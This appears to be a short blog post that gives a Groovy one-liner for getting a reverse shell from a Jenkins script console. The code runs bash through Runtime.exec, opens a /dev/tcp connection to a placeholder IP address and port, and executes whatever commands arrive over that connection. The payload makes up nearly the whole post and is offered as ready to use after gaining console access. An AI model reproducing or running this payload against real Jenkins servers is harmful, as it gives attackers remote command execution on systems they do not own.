Jenkins reverse shell
- Thiru T
- Dec 23, 2024
- 1 min read
If you gain access to a jenkins script console you can use this to gain a reverse shell on the node.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Comments